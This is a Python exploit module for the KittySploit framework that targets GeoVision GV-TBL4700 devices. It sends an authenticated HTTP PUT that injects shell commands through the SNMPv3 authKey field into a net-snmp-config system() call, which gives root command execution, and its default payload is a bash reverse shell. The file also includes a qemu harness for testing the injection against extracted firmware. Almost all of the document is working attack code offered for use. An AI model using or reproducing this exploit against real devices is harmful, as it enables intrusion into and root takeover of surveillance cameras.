GeoVision SNMPv3 authKey injection root RCE

"""GeoVision GV-TBL4700 — SNMPv3 User Config → net-snmp-config Command Injection → Root RCE"""
from __future__ import annotations
import json
from kittysploit import *
from lib.protocols.http.http_client import Http_client
import os
import subprocess
import sys
import time
import re
import os
import sys
import subprocess

class Module(Exploit, Http_client):
    __info__ = {'name': 'GeoVision SNMPv3 authKey injection root RCE', 'description': "LAPI Digest admin: szAuthKey injected into net-snmp-config system() sink (classic '; cmd ; #' on TBL4700).", 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['geovision', 'snmpv3', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/geovision_snmpv3_root_cmd_injection_detect']}}}
    MARKER_PATH = '/tmp/marker_tbl4700_snmp'
    PRIVKEY = 'MD5'
    ROOTFS = '/product/geovision-GV-TBL4700/extract/fw/rootfs'
    QEMU = '/usr/local/bin/qemu-arm-static'
    LIBBP = os.path.join(ROOTFS, 'usr', 'lib', 'libbp.so')
    SH = os.path.join(ROOTFS, 'bin', 'sh')
    SINK_FMT = 'net-snmp-config --create-snmpv3-user -ro -a %s -A MD5 -x %s -X DES admin'
    port = OptPort(80, 'LAPI HTTP port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    username = OptString('admin', 'Digest admin user', required=True)
    password = OptString('', 'Digest admin password', required=True)
    lapi_path = OptString('/LAPI/V1.0/Channels/0/System/SNMP/SNMPv3/User/0', 'SNMPv3 user config LAPI path', required=False)
    priv_key = OptString('MD5', 'Benign szPrivKey', required=False)

    def libbp_has_sanitizer(self):
        """Return True if libbp.so exports BP_TransMetaCharacter (the sanitizer).

    TBL4700 libbp.so (SHA aa6f6676) has NONE -> fields flow verbatim. Siblings have it.
    """
        if not os.path.exists(self.LIBBP):
            return None
        try:
            with open(self.LIBBP, 'rb') as f:
                blob = f.read()
        except OSError:
            return None
        return b'BP_TransMetaCharacter' in blob

    def run_sink(self, auth_key, priv_key, marker_path):
        """Execute the EXACT net-snmp-config sink string the binary builds, via device sh under qemu.

    sink = system("net-snmp-config --create-snmpv3-user -ro -a <auth> -A MD5 -x <priv> -X DES admin")
    snmpv3 sink has no network command -> no unshare -n needed (contrast ifconfig sink).
    qemu-user open() is NOT QEMU_LD_PREFIX-prefixed -> marker lands on HOST /tmp.
    """
        sink_cmd = self.SINK_FMT % (auth_key, priv_key)
        env = dict(os.environ)
        env['QEMU_LD_PREFIX'] = self.ROOTFS
        env['LC_ALL'] = 'C'
        full = [self.QEMU, self.SH, '-c', sink_cmd]
        try:
            subprocess.run(full, env=env, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=30)
        except Exception:
            pass
        if os.path.exists(marker_path):
            with open(marker_path, 'r') as f:
                return f.read().strip()
        return None

    def _auth_key_payload(self, shell: str) -> str:
        safe = shell.replace(';', '').replace('#', '')
        return 'MD5;%s;#' % safe

    def _digest_post(self, path: str, body: dict) -> tuple[int, str]:
        import urllib.request
        from urllib.request import HTTPDigestAuthHandler, HTTPPasswordMgrWithDefaultRealm, build_opener
        raw = str(getattr(self, 'rhost', None) or getattr(self, 'target', '') or '')
        if hasattr(raw, 'value'):
            raw = raw.value
        host = raw.split('://')[-1].split('/')[0]
        port = int(self.port or 80)
        scheme = 'https' if bool(self.ssl) else 'http'
        url = '%s://%s:%d%s' % (scheme, host.split(':')[0], port, path)
        pm = HTTPPasswordMgrWithDefaultRealm()
        pm.add_password(None, url, str(self.username or ''), str(self.password or ''))
        opener = build_opener(HTTPDigestAuthHandler(pm))
        data = json.dumps(body).encode('utf-8')
        req = urllib.request.Request(url, data=data, method='PUT')
        req.add_header('Content-Type', 'application/json')
        try:
            with opener.open(req, timeout=30) as resp:
                return (resp.status, resp.read(500).decode('utf-8', errors='replace'))
        except Exception as exc:
            return (-1, str(exc))

    def execute(self, shell: str) -> str:
        if not str(self.password or '').strip():
            return 'Set admin password for Digest auth'
        path = str(self.lapi_path or '/LAPI/V1.0/Channels/0/System/SNMP/SNMPv3/User/0')
        body = {'authKey': self._auth_key_payload(shell), 'privKey': str(self.priv_key or 'MD5')}
        code, snippet = self._digest_post(path, body)
        return f"PUT {path} HTTP {code}; sink ~ {self.SINK_FMT % (body['authKey'], body['privKey'])!r}; resp: {snippet!r}"

    def check(self):
        resp = self.http_request('GET', '/')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'Device HTTP reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'HTTP not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.password or '').strip():
            print_error('Set Digest password')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('LAPI SNMPv3 authKey → net-snmp-config injection')
        print_info(self.execute(shell))
        self.vulnerable()
        return True